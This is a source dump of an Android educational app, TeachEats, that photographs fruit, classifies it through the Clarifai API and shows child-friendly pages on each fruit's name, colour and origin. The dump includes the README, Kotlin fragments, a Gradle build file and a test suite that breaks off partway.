* [JUnit](https://junit.org/junit4/)
* [Hamcrest](http://hamcrest.org/)
* [AWS S3](https://aws.amazon.com/s3/)
### Fruit List
* Apple
* Avocado
* Banana
* Blueberry
* Cherry
* Coconut
* Dragonfruit
* Durian
* Grape
* Grapefruit
* Guava
* Kiwi
* Lemon
* Lime
* Lychee
* Mango
* Orange
* Papaya
* Passionfruit
* Peach
* Pear
* Persimmon
* Pineapple
* Pomegranate
* Raspberry
* Strawberry
* Watermelon
<!-- GETTING STARTED -->
## Getting Started
1. Install Android Studio.
2. Make Clarifai account, create a project, and make an API Key.
3. Install and Configure NDK and CMake in Android Studio.
[Tutorial](https://developer.android.com/studio/projects/install-ndk)
4. Create NDK file in order to securely store API keys.
[Tutorial](https://medium.com/programming-lite/securing-api-keys-in-android-app-using-ndk-native-development-kit-7aaa6c0176be)
### Prerequisites
1. Android Studio
2. Clarifai Account and API Secret + ID
2. Android Device is required, as the app makes camera intents.
<!-- USAGE EXAMPLES -->
## Usage
1. Take Picture of Fruit:
<img src="assets/result.jpg" alt="Result" width="150" height="300">
2. Educational pages about respective fruit:
<img src="assets/fruit.jpg" alt="Fruit" width="150" height="300">
3. App layout:
<img src="assets/skeleton.png" alt="Layout" width="900" height="300">
## Features
* Child-Friendly UI with hand-drawn images
* Image Recognition and Identification of 25+ Fruits
* Fruit origin images are publicly hosted on AWS S3 bucket
* Sends camera intent to take images
* Alert Dialog and halt app if no internet access
* Asynchronous code to send gRPC calls and load images from URLs
* App saves state if user leaves app
* Educational pages that teaches color, name, and origin for each fruit
* App has option to save image to phone gallery
* Loading photos in app is optimized by scaling the bitmap
* Cache is cleaned upon app reinitialization
* Tests to verify app has proper navigation
<!-- LICENSE -->
## License
<!-- CONTACT -->
## Contact
<NAME> (Developer) - <EMAIL>
[![LinkedIn][linkedin-shield]][linkedin-url-raymond]
<NAME> (Artist) - <EMAIL>
[![LinkedIn][linkedin-shield]][linkedin-url-alana]
<!-- ACKNOWLEDGEMENTS -->
## Acknowledgements
* [University of Florida WiCSE](https://cise.ufl.edu/dept/ufwicse/)
* [Traject](https://bytraject.com/)
<!-- MARKDOWN LINKS & IMAGES -->
<!-- https://www.markdownguide.org/basic-syntax/#reference-style-links -->
[linkedin-shield]: https://img.shields.io/badge/-LinkedIn-black.svg?style=flat-square&logo=linkedin&colorB=555
[linkedin-url-raymond]: https://www.linkedin.com/in/ray7yu/
[linkedin-url-alana]: https://www.linkedin.com/in/alana-jones-329129187/
[issues-shield]: https://img.shields.io/github/issues/laundr-portal.svg?style=flat-square
[issues-url]: https://github.com/ray7yu/laundr-portal/issues
[product-screenshot]: images/screenshot.png
<file_sep>/app/src/main/java/com/teach/eats/functions/Fruit.kt
package com.teach.eats.functions
//Class that has each fruit's attributes
data class Fruit (
val name: String,
val icon: Int,
val textName: String,
val colorName: String,
val colorRes: Int,
val changeTextColor: Boolean,
val fruitAudio: Int,
val colorAudio: Int
)<file_sep>/app/src/main/java/com/teach/eats/fragments/help/HelpFragment.kt
package com.teach.eats.fragments.help
import android.os.Bundle
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.databinding.DataBindingUtil
import androidx.navigation.findNavController
import com.teach.eats.R
import com.teach.eats.databinding.FragmentHelpBinding
class HelpFragment : Fragment() {
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
// Inflate the layout for this fragment
val binding = DataBindingUtil.inflate<FragmentHelpBinding>(inflater,
R.layout.fragment_help, container, false)
binding.helpReturnButton.setOnClickListener{view: View ->
view.findNavController().navigate(R.id.action_helpFragment_to_titleFragment)
}
return binding.root
}
}<file_sep>/settings.gradle
rootProject.name='TeachEats'
include ':app'
<file_sep>/app/src/main/java/com/teach/eats/fragments/loading/LoadingFragment.kt
package com.teach.eats.fragments.loading
import android.os.Bundle
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.databinding.DataBindingUtil
import com.teach.eats.functions.Clarifai
import com.teach.eats.R
import com.teach.eats.databinding.FragmentLoadingBinding
class LoadingFragment : Fragment() {
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
//Inflates and binds layout to fragment
val binding = DataBindingUtil.inflate<FragmentLoadingBinding>(
inflater,
R.layout.fragment_loading,
container,
false
)
val bundle = Bundle()
val path = arguments?.getString("photoPath").toString()
bundle.putString("photoPath", path)
val apiCall = Clarifai(getApiSecret(), binding, bundle)
apiCall.execute("Hi")
return binding.root
}
init {
System.loadLibrary("native-lib")
}
//Native C++ functions that contain API ID and Secret
external fun getApiSecret(): String
external fun getApiId(): String
}
<file_sep>/app/src/main/java/com/teach/eats/fragments/result/ResultFragment.kt
package com.teach.eats.fragments.result
import android.annotation.SuppressLint
import android.content.ContentValues
import android.content.ContentValues.TAG
import android.graphics.Bitmap
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.Environment
import android.provider.MediaStore
import android.util.Log
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.view.ViewTreeObserver.OnGlobalLayoutListener
import android.widget.Toast
import androidx.activity.OnBackPressedCallback
import androidx.annotation.RequiresApi
import androidx.databinding.DataBindingUtil
import androidx.fragment.app.Fragment
import androidx.navigation.findNavController
import com.teach.eats.functions.Photo
import com.teach.eats.R
import com.teach.eats.databinding.FragmentColorBinding
import com.teach.eats.databinding.FragmentResultBinding
import java.io.IOException
import java.io.OutputStream
class ResultFragment : Fragment() {
private lateinit var results : Bundle
@RequiresApi(Build.VERSION_CODES.Q)
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
val binding = DataBindingUtil.inflate<FragmentResultBinding>(
inflater,
R.layout.fragment_result,
container,
false
)
results = setResult(savedInstanceState)
//Custom back pressed callback that also deletes photo
requireActivity().onBackPressedDispatcher.addCallback(
viewLifecycleOwner,
object : OnBackPressedCallback(true) {
override fun handleOnBackPressed() {
Log.d(TAG, "Fragment back pressed invoked")
Photo.deleteImage(results)
if (isEnabled) {
isEnabled = false
requireActivity().onBackPressed()
}
}
}
)
//Sets image after layout methods have been called, views are in place, and activity is ready to be displayed
val myView: View = binding.foodPicture
myView.viewTreeObserver.addOnGlobalLayoutListener(object : OnGlobalLayoutListener {
@SuppressLint("NewApi")
override fun onGlobalLayout() {
Photo.getImage(binding, results)
// Once data has been obtained, this listener is no longer needed, so remove it...
myView.viewTreeObserver.removeOnGlobalLayoutListener(this)
}
})
//Label is set using Photo class
Photo.getLabel(binding, results)
setUpNavigation(binding)
binding.saveButton.setOnClickListener {
savePicture()
}
//If no label, learn button is not visible
if (results.getString("label") == "") {
binding.learnButton.visibility = View.INVISIBLE
binding.saveButton.visibility = View.INVISIBLE
}
return binding.root
}
//Saves the arguments when fragment is stopped
override fun onSaveInstanceState(outState: Bundle) {
super.onSaveInstanceState(outState)
outState.putString("label", results.getString("label"))
outState.putString("photoPath", results.getString("photoPath"))
}
//Sets up the navigation between fragments
private fun setUpNavigation(binding: FragmentResultBinding) {
//Pressing return button will delete image and return to title fragment
binding.resultReturnButton.setOnClickListener { view: View ->
Photo.deleteImage(results)
view.findNavController().navigate(R.id.action_resultFragment_to_titleFragment)
}
//Pressing learn will go to food name fragment, while passing bundle
binding.learnButton.setOnClickListener { view: View ->
view.findNavController()
.navigate(R.id.action_resultFragment_to_foodNameFragment, results)
}
}
//Restores or initializes the arguments when fragment is started
private fun setResult(savedInstanceState: Bundle?) : Bundle {
val result = Bundle()
if(savedInstanceState != null) {
result.putString("label", savedInstanceState.getString("label", ""))
result.putString("photoPath", savedInstanceState.getString("photoPath", ""))
} else {
result.putString("label", requireArguments().getString("label", ""))
result.putString("photoPath", requireArguments().getString("photoPath", ""))
}
return result
}
//Saves the picture to phone gallery
@RequiresApi(Build.VERSION_CODES.Q)
private fun savePicture(){
val photoPath = results.getString("photoPath").toString()
Log.i("Path", photoPath)
//Requests permission
//Loads bitmap from app storage
val rotatedBitmap = Photo.loadRotatedBitmap(photoPath, null)
//Saves image to gallery
val relativeLocation = Environment.DIRECTORY_PICTURES + "/teacheats/"
val contentValues = ContentValues().apply {
put(
MediaStore.Images.Media.DISPLAY_NAME,
System.currentTimeMillis().toString() + " : Fruit.jpg"
)
put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg")
put(MediaStore.Images.Media.RELATIVE_PATH, relativeLocation)
}
val resolver = context?.contentResolver
var stream : OutputStream? = null
var uri : Uri? = null
try {
val contentUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
if (resolver != null) {
uri = resolver.insert(contentUri, contentValues)!!
}
if (uri == null) {
throw IOException("Failed to create new MediaStore record.")
}
if (resolver != null) {
stream = resolver.openOutputStream(uri)!!
}
if (stream == null) {
throw IOException("Failed to get output stream.")
}
if (!rotatedBitmap.compress(Bitmap.CompressFormat.JPEG, 100, stream)) {
throw IOException("Failed to save bitmap.")
}
} catch (e: IOException) {
if (uri != null) {
// Don't leave an orphan entry in the MediaStore
resolver?.delete(uri, null, null)
}
throw e
} finally {
stream?.close()
}
//Display Toast that says image was saved
Toast.makeText(context, "Image was saved to gallery", Toast.LENGTH_SHORT).show()
}
}<file_sep>/app/src/main/java/com/teach/eats/functions/Clarifai.kt
package com.teach.eats.functions
import android.os.AsyncTask
import android.os.Build
import android.os.Bundle
import androidx.annotation.RequiresApi
import androidx.navigation.findNavController
import com.clarifai.channel.ClarifaiChannel
import com.clarifai.credentials.ClarifaiCallCredentials
import com.clarifai.grpc.api.*
import com.clarifai.grpc.api.status.StatusCode
import com.teach.eats.databinding.FragmentLoadingBinding
import com.google.protobuf.ByteString
import com.teach.eats.R
import io.grpc.Channel
import java.io.File
import java.nio.file.Files
//Asynchronously makes a call to the Clarifai API in order to classify the fruit image and obtain a label.
class Clarifai(
private val apiKey: String,
private val binding: FragmentLoadingBinding,
private val bundle: Bundle
) : AsyncTask<String, String, Output>() {
override fun onPreExecute() {
}
@RequiresApi(Build.VERSION_CODES.O)
override fun doInBackground(vararg params: String?): Output? {
val channel: Channel = ClarifaiChannel.INSTANCE.jsonChannel;
val stub = V2Grpc.newBlockingStub(channel)
.withCallCredentials(ClarifaiCallCredentials(apiKey))
val postWorkflowResultsResponse = stub.postWorkflowResults(
PostWorkflowResultsRequest.newBuilder()
.setWorkflowId("Food")
.addInputs(
Input.newBuilder().setData(
Data.newBuilder().setImage(
Image.newBuilder()
.setBase64(
ByteString.copyFrom(Files.readAllBytes(
File(bundle.getString("photoPath").toString()).toPath()
)))
)
)
)
.build()
)
if (postWorkflowResultsResponse.status.code != StatusCode.SUCCESS) {
println("Post workflow results failed, status: " + postWorkflowResultsResponse.status)
return null
// throw java.lang.RuntimeException("Post workflow results failed, status: " + postWorkflowResultsResponse.status)
}
val results = postWorkflowResultsResponse.getResults(0)
for (output in results.outputsList) {
val model: Model = output.model
println("Predicted concepts for the model `" + model.name.toString() + "`:")
for (concept in output.data.conceptsList) {
System.out.printf("\t%s %.2f%n", concept.name, concept.value)
}
return output
}
return null
}
override fun onPostExecute(result: Output) {
//Go to result fragment
var label = ""
loop@ for (concept in result.data.conceptsList) {
println(concept.name)
when (concept.name) {
"apple" -> {
label = "Apple!"
break@loop
}
"banana" -> {
label = "Banana!"
break@loop
}
"grape" -> {
label = "Grape!"
break@loop
}
"lemon" -> {
label = "Lemon!"
break@loop
}
"mango" -> {
label = "Mango!"
break@loop
}
"orange" -> {
label = "Orange!"
break@loop
}
"peach" -> {
label = "Peach!"
break@loop
}
"pineapple" -> {
label = "Pineapple!"
break@loop
}
"strawberry" -> {
label = "Strawberry!"
break@loop
}
"watermelon" -> {
label = "Watermelon!"
break@loop
}
//Post Midterm Fruits
"avocado" -> {
label = "Avocado!"
break@loop
}
"blueberry" -> {
label = "Blueberry!"
break@loop
}
"cherry" -> {
label = "Cherry!"
break@loop
}
"coconut" -> {
label = "Coconut!"
break@loop
}
"dragonfruit" -> {
label = "Dragonfruit!"
break@loop
}
"durian" -> {
label = "Durian!"
break@loop
}
"grapefruit" -> {
label = "Grapefruit!"
break@loop
}
"guava" -> {
label = "Guava!"
break@loop
}
"kiwi fruit" -> {
label = "Kiwi!"
break@loop
}
"lime" -> {
label = "Lime!"
break@loop
}
"lychee" -> {
label = "Lychee!"
break@loop
}
"papaya" -> {
label = "Papaya!"
break@loop
}
"passionfruit" -> {
label = "Passionfruit!"
break@loop
}
"pear" -> {
label = "Pear!"
break@loop
}
"persimmon" -> {
label = "Persimmon!"
break@loop
}
"pomegranate" -> {
label = "Pomegranate!"
break@loop
}
"raspberry" -> {
label = "Raspberry!"
break@loop
}
else -> {
continue@loop
}
}
}
bundle.putString("label", label)
println(binding.root)
binding.root.findNavController()
.navigate(R.id.action_loadingFragment_to_resultFragment, bundle)
}
}<file_sep>/app/src/main/java/com/teach/eats/MainActivity.kt
package com.teach.eats
import android.app.Dialog
import android.content.Context
import android.content.DialogInterface
import android.graphics.drawable.ColorDrawable
import android.net.ConnectivityManager
import android.net.NetworkCapabilities
import android.os.Build
import android.os.Bundle
import android.os.Environment
import android.util.Log
import androidx.appcompat.app.AlertDialog
import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat
import androidx.databinding.DataBindingUtil
import com.teach.eats.databinding.ActivityMainBinding
import java.io.File
class MainActivity : AppCompatActivity() {
lateinit var binding: ActivityMainBinding
lateinit var alert: AlertDialog
override fun onCreate(savedInstanceState: Bundle?) {
supportActionBar?.hide()
super.onCreate(savedInstanceState)
@Suppress("UNUSED_VARIABLE")
//Delete cached images
Log.i("Create", "Destroy image called")
val storageDir: File? = this.getExternalFilesDir(Environment.DIRECTORY_PICTURES)
val files = storageDir?.listFiles()
if(files != null){
for(i in files.indices){
Log.i("Filepath", files[i].absolutePath)
Log.i("Delete file status", files[i].delete().toString())
}
}
binding = DataBindingUtil.setContentView<ActivityMainBinding>(this, R.layout.activity_main)
}
override fun onResume() {
super.onResume()
alert = buildDialog(this)
if(!isConnected(this)){
Log.i("Internet", "No Internet")
alert.show()
}
}
//Checks if there is an internet connection
private fun isConnected(context: Context): Boolean {
val result: Boolean
val cm = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
val networkCapabilities = cm.activeNetwork ?: return false
val actNw = cm.getNetworkCapabilities(networkCapabilities) ?: return false
result = when {
actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) -> true
actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) -> true
actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET) -> true
else -> false
}
} else {
return cm.activeNetworkInfo != null && cm.activeNetworkInfo!!.isConnectedOrConnecting
}
return result
}
//Builds alert dialog to inform user that there is no internet connection
private fun buildDialog(c: Context): AlertDialog {
val dialog: AlertDialog = AlertDialog.Builder(c).create()
dialog.setTitle("No Internet Connection")
dialog.setMessage("App requires Mobile Data or Wifi. Press OK to Exit")
dialog.setCancelable(false)
dialog.setButton(Dialog.BUTTON_POSITIVE,"OK") { _, _ ->
finish()
}
return dialog
}
override fun onPause() {
super.onPause()
Log.i("dialog", "was dismissed")
alert.dismiss()
}
}
<file_sep>/app/src/main/java/com/teach/eats/functions/Learn.kt
package com.teach.eats.functions
import android.content.Context
import android.graphics.Color
import android.media.MediaPlayer
import android.widget.ImageButton
import android.widget.ImageView
import android.widget.TextView
import androidx.core.content.ContextCompat
import com.facebook.shimmer.ShimmerFrameLayout
import com.teach.eats.R
class Learn {
companion object {
//Map that contains the respective image, color, audio, icon, for each fruit
val fruitMap = mapOf(
"Apple!" to Fruit("apple",
R.drawable.ic_apple, "APPLE", "RED",
R.color.red,false,
R.raw.apple,
R.raw.red
),
"Banana!" to Fruit("banana",
R.drawable.ic_banana, "BANANA", "YELLOW",
R.color.yellow, true,
R.raw.banana,
R.raw.yellow
),
"Grape!" to Fruit("grape",
R.drawable.ic_grape, "GRAPE", "PURPLE",
R.color.purple, false,
R.raw.grape,
R.raw.purple
),
"Lemon!" to Fruit("lemon",
R.drawable.ic_lemon, "LEMON", "YELLOW",
R.color.yellow, true,
R.raw.lemon,
R.raw.yellow
),
"Mango!" to Fruit("mango",
R.drawable.ic_mango, "MANGO", "ORANGE",
R.color.orange, false,
R.raw.mango,
R.raw.orange
),
"Orange!" to Fruit("orange",
R.drawable.ic_orange, "ORANGE", "ORANGE",
R.color.orange, false,
R.raw.orange,
R.raw.orange
),
"Peach!" to Fruit("peach",
R.drawable.ic_peach, "PEACH", "PEACH",
R.color.peach, false,
R.raw.peach,
R.raw.peach
),
"Pineapple!" to Fruit("pineapple",
R.drawable.ic_pineapple, "PINEAPPLE", "YELLOW",
R.color.yellow, true,
R.raw.pineapple,
R.raw.yellow
),
"Strawberry!" to Fruit("strawberry",
R.drawable.ic_strawberry, "STRAWBERRY", "RED",
R.color.red, false,
R.raw.strawberry,
R.raw.red
),
"Watermelon!" to Fruit("watermelon",
R.drawable.ic_watermelon, "WATERMELON", "GREEN",
R.color.green, false,
R.raw.watermelon,
R.raw.green
),
//Post Midterm
"Avocado!" to Fruit("avocado",
R.drawable.ic_avocado, "AVOCADO", "GREEN",
R.color.green, false,
R.raw.avocado,
R.raw.green
),
"Blueberry!" to Fruit("blueberry",
R.drawable.ic_blueberry, "BLUEBERRY", "BLUE",
R.color.blue, false,
R.raw.blueberry,
R.raw.blue
),
"Cherry!" to Fruit("cherry",
R.drawable.ic_cherry, "CHERRY", "RED",
R.color.red, false,
R.raw.cherry,
R.raw.red
),
"Coconut!" to Fruit("coconut",
R.drawable.ic_coconut, "COCONUT", "BROWN",
R.color.brown, false,
R.raw.coconut,
R.raw.brown
),
"Dragonfruit!" to Fruit("dragonfruit",
R.drawable.ic_dragonfruit, "DRAGONFRUIT", "PINK",
R.color.pink, false,
R.raw.dragonfruit,
R.raw.pink
),
"Durian!" to Fruit("durian",
R.drawable.ic_durian, "DURIAN", "GREEN",
R.color.green, false,
R.raw.durian,
R.raw.green
),
"Grapefruit!" to Fruit("grapefruit",
R.drawable.ic_grapefruit, "GRAPEFRUIT", "ORANGE",
R.color.orange, false,
R.raw.grapefruit,
R.raw.orange
),
"Guava!" to Fruit("guava",
R.drawable.ic_guava, "GUAVA", "GREEN",
R.color.green, false,
R.raw.guava,
R.raw.green
),
"Kiwi!" to Fruit("kiwi",
R.drawable.ic_kiwi, "KIWI", "BROWN",
R.color.brown, false,
R.raw.kiwi,
R.raw.brown
),
"Lime!" to Fruit("lime",
R.drawable.ic_lime, "LIME", "GREEN",
R.color.green, false,
R.raw.lime,
R.raw.green
),
"Lychee!" to Fruit("lychee",
R.drawable.ic_lychee, "LYCHEE", "RED",
R.color.red, false,
R.raw.lychee,
R.raw.red
),
"Papaya!" to Fruit("papaya",
R.drawable.ic_papaya, "PAPAYA", "GREEN",
R.color.green, false,
R.raw.papaya,
R.raw.green
),
"Passionfruit!" to Fruit("passionfruit",
R.drawable.ic_passionfruit, "PASSIONFRUIT", "PURPLE",
R.color.purple, false,
R.raw.passionfruit,
R.raw.purple
),
"Pear!" to Fruit("pear",
R.drawable.ic_pear, "PEAR", "GREEN",
R.color.green, false,
R.raw.pear,
R.raw.green
),
"Persimmon!" to Fruit("persimmon",
R.drawable.ic_persimmon, "PERSIMMON", "ORANGE",
R.color.orange, false,
R.raw.persimmon,
R.raw.orange
),
"Pomegranate!" to Fruit("pomegranate",
R.drawable.ic_pomegranate, "POMEGRANATE", "RED",
R.color.red, false,
R.raw.pomegranate,
R.raw.red
),
"Raspberry!" to Fruit("raspberry",
R.drawable.ic_raspberry, "RASPBERRY", "RED",
R.color.red, false,
R.raw.raspberry,
R.raw.red
)
)
//Sets an icon as an image resource.
fun chooseIcon(imageView: ImageView, label: String) {
fruitMap[label]?.icon?.let { imageView.setImageResource(it) }
}
//Builds an image URL, then makes an asynchronous call to load image into view.
fun chooseOrigin(shimmerView:ShimmerFrameLayout, imageView: ImageView, label: String) {
var fruitURL: String = "https://teach-eats-fruit-pics.s3-us-west-1.amazonaws.com/"
fruitURL += (fruitMap[label] ?: error("")).name + "_origin.png"
Origin(imageView, shimmerView).execute(fruitURL)
}
//Chooses fruit name or fruit color as text, depending on the option passed in.
fun chooseText(context: Context, textView: TextView, label: String, option: Int) {
//Fruit name
textView.text = if(option == 0) fruitMap[label]?.textName else fruitMap[label]?.colorName
//Fruit color
fruitMap[label]?.colorRes?.let {
ContextCompat.getColor(context,
it
)
}?.let { textView.setBackgroundColor(it) }
//If clashing colors, text is turned black.
if(fruitMap[label]?.changeTextColor!!){
textView.setTextColor(Color.BLACK)
}
}
//Sets sound to fruit or color audio, depending on the option passed in.
fun setSound(context: Context, listenButton: ImageButton, label: String, option: Int) {
val mp: MediaPlayer = MediaPlayer.create(
context,
if (option == 0) (fruitMap[label] ?: error("")).fruitAudio else (fruitMap[label] ?: error("")).colorAudio
)
listenButton.setOnClickListener {
mp.start()
}
}
}
}<file_sep>/app/src/main/java/com/teach/eats/fragments/result/foodName/FoodNameFragment.kt
package com.teach.eats.fragments.result.foodName
import android.content.ContentValues
import android.os.Bundle
import android.util.Log
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.activity.OnBackPressedCallback
import androidx.databinding.DataBindingUtil
import androidx.navigation.findNavController
import com.teach.eats.functions.Learn
import com.teach.eats.functions.Photo
import com.teach.eats.R
import com.teach.eats.databinding.FragmentColorBinding
import com.teach.eats.databinding.FragmentFoodNameBinding
import com.teach.eats.fragments.result.color.ColorFragment
class FoodNameFragment : Fragment() {
private lateinit var results : Bundle
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
//Inflates and binds layout to fragment
val binding = DataBindingUtil.inflate<FragmentFoodNameBinding>(
inflater,
R.layout.fragment_food_name,
container,
false
)
results = setResult(savedInstanceState)
//Custom back pressed callback that also deletes photo
requireActivity().onBackPressedDispatcher.addCallback(
viewLifecycleOwner,
object : OnBackPressedCallback(true) {
override fun handleOnBackPressed() {
Log.d(ContentValues.TAG, "Fragment back pressed invoked")
Photo.deleteImage(results)
if (isEnabled) {
isEnabled = false
requireActivity().onBackPressed()
}
}
}
)
setUpUI(this, binding)
setUpNavigation(binding)
return binding.root
}
//Saves the arguments when fragment is stopped
override fun onSaveInstanceState(outState: Bundle) {
super.onSaveInstanceState(outState)
outState.putString("label", results.getString("label"))
outState.putString("photoPath", results.getString("photoPath"))
}
//Sets up the UI for the fragment
private fun setUpUI(foodNameFragment: FoodNameFragment, binding: FragmentFoodNameBinding){
//Sets up food picture and food name views
Learn.chooseIcon(
binding.foodPic,
results.getString("label").toString()
)
foodNameFragment.context?.let {
Learn.chooseText(
it,
binding.foodNameView,
results.getString("label").toString(),
0
)
}
//Sets up audio for listen button
foodNameFragment.context?.let {
Learn.setSound(
it,
binding.listenButton,
results.getString("label").toString(),
0
)
}
}
//Sets up the navigation between fragments
private fun setUpNavigation(binding: FragmentFoodNameBinding) {
binding.leftButton.setOnClickListener { view: View ->
view.findNavController()
.navigate(R.id.action_foodNameFragment_to_resultFragment, results)
}
binding.rightButton.setOnClickListener { view: View ->
view.findNavController()
.navigate(R.id.action_foodNameFragment_to_colorFragment, results)
}
binding.returnButton.setOnClickListener { view: View ->
Photo.deleteImage(results)
view.findNavController().navigate(R.id.action_foodNameFragment_to_titleFragment)
}
}
//Restores or initializes the arguments when fragment is started
private fun setResult(savedInstanceState: Bundle?) : Bundle {
val result = Bundle()
if(savedInstanceState != null) {
result.putString("label", savedInstanceState.getString("label", ""))
result.putString("photoPath", savedInstanceState.getString("photoPath", ""))
} else {
result.putString("label", requireArguments().getString("label", ""))
result.putString("photoPath", requireArguments().getString("photoPath", ""))
}
return result
}
}<file_sep>/app/src/main/java/com/teach/eats/fragments/title/TitleFragment.kt
package com.teach.eats.fragments.title
import android.net.Uri
import android.os.Bundle
import android.os.Environment
import android.util.Log
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.activity.result.contract.ActivityResultContracts
import androidx.core.content.FileProvider
import androidx.databinding.DataBindingUtil
import androidx.navigation.findNavController
import com.teach.eats.R
import com.teach.eats.databinding.FragmentTitleBinding
import java.io.File
import java.io.IOException
import java.text.SimpleDateFormat
import java.util.*
class TitleFragment : Fragment() {
//Takes picture and has callback for result
private val getPicture =
registerForActivityResult(ActivityResultContracts.TakePicture()) { isSuccess ->
if (isSuccess) {
val newBundle = Bundle()
newBundle.putString("photoPath", currentPhotoPath)
Log.d("photoPath", currentPhotoPath)
view?.findNavController()
?.navigate(R.id.action_titleFragment_to_loadingFragment, newBundle)
} else {
Log.d("Error", "Error")
}
}
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
//Inflates and binds layout to fragment
val binding = DataBindingUtil.inflate<FragmentTitleBinding>(
inflater,
R.layout.fragment_title,
container,
false
)
//Binds listeners to buttons
binding.helpButton.setOnClickListener { view: View ->
view.findNavController().navigate(R.id.action_titleFragment_to_helpFragment)
}
binding.startButton.setOnClickListener {
takeImage()
}
return binding.root
}
lateinit var currentPhotoPath: String
//Creates a file and filepath for the image
@Throws(IOException::class)
private fun createImageFile(): File {
// Creates image file name
val timeStamp: String = SimpleDateFormat.getDateTimeInstance().format(Date())
val storageDir: File? = activity?.getExternalFilesDir(Environment.DIRECTORY_PICTURES)
// val storageDir: File? = activity?.getExternalStorageDirectory(Environment.DIRECTORY_PICTURES)
return File.createTempFile(
"JPEG_${timeStamp}_", /* prefix */
".jpg", /* suffix */
storageDir /* directory */
).apply {
// Save a filepath for use with ACTION_VIEW intents
currentPhotoPath = absolutePath
}
}
//Calls function to creates file and calls function to take picture
private fun takeImage() {
val photoFile: File? = try {
createImageFile()
} catch (ex: IOException) {
// Error occurred while creating the File
Log.d("Error", "Error")
null
}
photoFile?.also {
val photoURI: Uri = FileProvider.getUriForFile(
requireActivity(),
"com.teach.eats.fileprovider",
it
)
getPicture.launch(photoURI)
}
}
}
<file_sep>/app/build.gradle
apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-android-extensions'
apply plugin: 'kotlin-kapt'
android {
buildFeatures {
dataBinding = true
}
compileSdkVersion 29
buildToolsVersion "29.0.3"
kotlinOptions {
jvmTarget = JavaVersion.VERSION_1_8.toString()
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
testOptions {
animationsDisabled = true
}
defaultConfig {
android.defaultConfig.vectorDrawables.useSupportLibrary = true
applicationId "com.teach.eats"
minSdkVersion 19
targetSdkVersion 29
versionCode 1
versionName "1.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
vectorDrawables.useSupportLibrary = true
multiDexEnabled true
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
debug {
clean
}
}
externalNativeBuild {
cmake {
path "CMakeLists.txt"
}
}
ndkVersion '21.3.6528147'
}
dependencies {
kapt "com.android.databinding:compiler:$android_plugin_version"
def nav_version = "2.3.0"
def fragment_version = "1.2.5"
implementation 'androidx.legacy:legacy-support-v4:1.0.0'
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version"
implementation 'androidx.appcompat:appcompat:1.1.0'
implementation 'androidx.core:core-ktx:1.2.0'
implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
implementation "androidx.navigation:navigation-fragment-ktx:$nav_version"
implementation "androidx.navigation:navigation-ui-ktx:$nav_version"
implementation "androidx.activity:activity-ktx:1.2.0-alpha04"
implementation "androidx.fragment:fragment-ktx:1.3.0-alpha08"
implementation 'com.squareup.retrofit2:retrofit:2.1.0'
implementation 'com.squareup.retrofit2:converter-moshi:2.1.0'
implementation 'com.squareup.okhttp3:logging-interceptor:3.3.1'
implementation 'com.jakewharton.timber:timber:4.5.1'
implementation 'com.clarifai:clarifai-grpc:6.8.0'
implementation 'com.android.support:multidex:1.0.3'
implementation 'com.facebook.shimmer:shimmer:0.5.0'
testImplementation 'junit:junit:4.12'
testImplementation "org.hamcrest:hamcrest-all:1.3"
debugImplementation "androidx.fragment:fragment-testing:$fragment_version"
androidTestImplementation 'androidx.test.ext:junit:1.1.1'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0'
androidTestImplementation "androidx.navigation:navigation-testing:$nav_version"
}<file_sep>/app/src/androidTest/java/com/teach/eats/TestSuite.kt
package com.teach.eats
import androidx.fragment.app.testing.launchFragmentInContainer
import androidx.navigation.Navigation
import androidx.navigation.testing.TestNavHostController
import androidx.test.core.app.ApplicationProvider
import androidx.test.espresso.Espresso.onView
import androidx.test.espresso.action.ViewActions
import androidx.test.espresso.assertion.ViewAssertions.matches
import androidx.test.espresso.matcher.ViewMatchers.*
import androidx.test.ext.junit.runners.AndroidJUnit4
import androidx.test.internal.runner.junit4.statement.UiThreadStatement.runOnUiThread
import com.teach.eats.fragments.help.HelpFragment
import com.teach.eats.fragments.title.TitleFragment
import org.hamcrest.MatcherAssert.assertThat
import org.hamcrest.Matchers.`is` as Is
import org.junit.Test
import org.junit.runner.RunWith
@RunWith(AndroidJUnit4::class)
class TestSuite {
@Test
fun testTitleFragment() {
val scenario = launchFragmentInContainer<TitleFragment>()
onView(withId(R.id.title_header)).check(matches(withText("Welcome!")))
onView(withId(R.id.start_button)).check(matches(withText("Start")))
onView(withId(R.id.help_button)).check(matches(withText("Help")))
}
@Test
